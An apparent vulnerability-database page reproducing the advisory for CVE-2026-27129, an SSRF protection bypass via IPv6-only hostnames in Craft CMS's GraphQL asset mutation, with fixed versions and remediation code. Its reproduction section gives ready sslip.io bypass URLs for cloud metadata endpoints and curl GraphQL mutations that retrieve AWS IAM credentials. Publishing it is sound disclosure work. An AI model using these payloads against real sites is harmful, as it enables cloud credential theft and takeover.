NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

CVE-2026-27129 — cms

Fix: craftcms/cms@2825388

CVE-2026-27129 is a Server-Side Request Forgery (SSRF) vulnerability in craftcms/cms. A fix is available for craftcms/cms — see the affected versions and patch details below.

Cloud Metadata SSRF Protection Bypass via IPv6 Resolution

Also known asGHSA-v2gc-rm6g-wrw9
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27129.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk
0.00%0.32%0.64%0.96%0.0%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected
🐘craftcms/cms🐘craftcms/cms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.

This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).

Required Permissions

Exploitation requires GraphQL schema permissions for:

  • Edit assets in the <VolumeName> volume
  • Create assets in the <VolumeName> volume

These permissions may be granted to:

  • Authenticated users with appropriate GraphQL schema access
  • Public Schema (if misconfigured with write permissions)

Technical Details

Root Cause

From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"

When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.

Bypass Mechanism

+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL                                               |
|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io')            |
|         -> No A record exists                                               |
|         -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!)           |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check                                                     |
|         in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...])       |
|         -> FALSE (string != IPv4 addresses)                                 |
|         -> VALIDATION PASSES                                                |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request                                           |
|         -> Resolves DNS (including AAAA records)                            |
|         -> Gets IPv6: fd00:ec2::254                                         |
|         -> Connects to AWS IMDS IPv6 endpoint                               |
|         -> CREDENTIALS STOLEN                                               |
+-----------------------------------------------------------------------------+

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

Cloud ProviderBlocked IPv4IPv6 EquivalentBypass Payload
AWS EC2 IMDS169.254.169.254fd00:ec2::254http://fd00-ec2--254.sslip.io/
AWS ECS169.254.170.2fd00:ec2::254 (via IMDS)http://fd00-ec2--254.sslip.io/
Google Cloud GCP169.254.169.254fd20:ce::254http://fd20-ce--254.sslip.io/
Azure169.254.169.254No IPv6 endpointN/A
Alibaba Cloud100.100.100.200No documented IPv6N/A
Oracle Cloud192.0.0.192No documented IPv6N/A

Additional IPv6 Internal Service Bypass Payloads

TargetIPv6 AddressBypass Payload
IPv6 Loopback::1http://0-0-0-0-0-0-0-1.sslip.io/
AWS NTP Servicefd00:ec2::123http://fd00-ec2--123.sslip.io/
AWS DNS Servicefd00:ec2::253http://fd00-ec2--253.sslip.io/
IPv4-mapped IPv6::ffff:169.254.169.254http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/

Steps to Reproduce

Step 1: Verify DNS Resolution

# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)

# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254

Step 2: Enumerate AWS IAM Role Name

curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
  }'

Step 3: Retrieve AWS Credentials

# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
  }'

Step 4: Access Saved Credentials

The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).


Attack Scenario

  1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled
  2. Attacker sends mutation with url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"
  3. Error message or saved file reveals IAM role name
  4. Attacker retrieves credentials via second mutation
  5. Attacker uses credentials to access AWS services
  6. Attacker can now achieve code execution by creating new EC2 instances with their SSH key

Remediation

Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:

// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
    $records = [];
}

// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
    'fd00:ec2::',       // AWS IMDS, DNS, NTP
    'fd20:ce::',        // GCP Metadata
    '::1',              // Loopback
    'fe80:',            // Link-local
    '::ffff:',          // IPv4-mapped IPv6
];

foreach ($records as $record) {
    // Check IPv4 (existing logic)
    if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
        return false;
    }

    // Check IPv6 (NEW)
    if (isset($record['ipv6'])) {
        foreach ($blockedIPv6Prefixes as $prefix) {
            if (str_starts_with($record['ipv6'], $prefix)) {
                return false;
            }
        }
    }
}

Additional Mitigations

MitigationDescription
Block wildcard DNS servicesBlock nip.io, sslip.io, xip.io suffixes
Use dns_get_record()Resolves both IPv4 and IPv6

Resources

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistcraftcms/cms≥ 5.0.0-RC1&&< 5.8.235.8.23composer require craftcms/cms:^5.8.23
🐘Packagistcraftcms/cms≥ 3.5.0&&< 4.16.194.16.19composer require craftcms/cms:^4.16.19

Affected Products

1 product · 4 configurations
Application
craft cmscraftcms
≥ 5.0.1 && < 5.8.23
1 version
5.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update craftcms/cms to 5.8.23 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27129 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)). ## Required Permissions Exploitation requires GraphQL schema permissions for: - Edit assets in the `<VolumeName>` volume - Create assets in
O3 Security · Impact-Aware SCA

Is CVE-2026-27129 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-27129: cms SSRF — Fixed in 5.8.23